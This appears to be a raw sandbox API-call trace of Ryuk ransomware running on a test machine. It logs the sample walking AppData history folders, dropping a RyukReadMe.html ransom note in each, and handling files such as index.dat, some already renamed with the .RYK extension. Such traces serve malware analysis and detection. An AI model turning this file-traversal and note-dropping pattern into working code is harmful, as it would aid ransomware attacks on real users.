	[0278.240] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b3b8de0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b3b8de0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.241] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b3b8de0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b3b8de0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b6, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.241] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.241] SetLastError (dwErrCode=0x0) 
	[0278.241] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.241] GetLastError () returned 0xb7
	[0278.241] CloseHandle (hObject=0x874) returned 1
	[0278.241] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.241] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7766d760, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.241] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0278.242] SetLastError (dwErrCode=0x0) 
	[0278.242] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.242] GetLastError () returned 0xb7
	[0278.242] CloseHandle (hObject=0x7a8) returned 1
	[0278.242] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0278.242] SetLastError (dwErrCode=0x0) 
	[0278.242] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.243] GetLastError () returned 0xb7
	[0278.243] CloseHandle (hObject=0x7a8) returned 1
	[0278.243] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0278.244] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7766d760, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7766d760, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.244] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.244] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0278.244] SetLastError (dwErrCode=0x0) 
	[0278.244] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.244] GetLastError () returned 0xb7
	[0278.244] CloseHandle (hObject=0x874) returned 1
	[0278.244] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.245] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.245] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.245] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77ba17e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0278.245] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0
	[0278.247] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.248] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0278.248] SetLastError (dwErrCode=0x0) 
	[0278.248] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.248] GetLastError () returned 0xb7
	[0278.248] CloseHandle (hObject=0x8cc) returned 1
	[0278.249] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.249] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1d0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.249] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54361220, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1d0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0278.249] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c0
	[0278.441] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.490] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54361220, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1d0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
	[0278.490] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.491] SetLastError (dwErrCode=0x0) 
	[0278.491] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.494] GetLastError () returned 0x0
	[0278.494] WriteFile (in: hFile=0x8cc, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0278.495] CloseHandle (hObject=0x8cc) returned 1
	[0278.496] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b3def40, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.496] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b3def40, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b3def40, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b3def40, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.496] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.496] SetLastError (dwErrCode=0x0) 
	[0278.496] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.497] GetLastError () returned 0xb7
	[0278.497] CloseHandle (hObject=0x874) returned 1
	[0278.497] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0278.497] SetLastError (dwErrCode=0x0) 
	[0278.497] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.497] GetLastError () returned 0xb7
	[0278.497] CloseHandle (hObject=0x874) returned 1
	[0278.497] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.498] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x776938c0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x776938c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.498] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.498] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c168c60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c168c60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b8, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0278.498] SetLastError (dwErrCode=0x0) 
	[0278.498] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8cc
	[0278.498] GetLastError () returned 0xb7
	[0278.498] CloseHandle (hObject=0x8cc) returned 1
	[0278.499] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c168c60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c168c60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.499] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7c168c60, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7c168c60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.499] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0278.499] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7c168c60, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x8122, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="index.dat.RYK", cAlternateFileName="INDEXD~1.RYK")) returned 1
	[0278.499] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0278.500] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c4
	[0278.503] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.504] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c0, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0278.504] SetLastError (dwErrCode=0x0) 
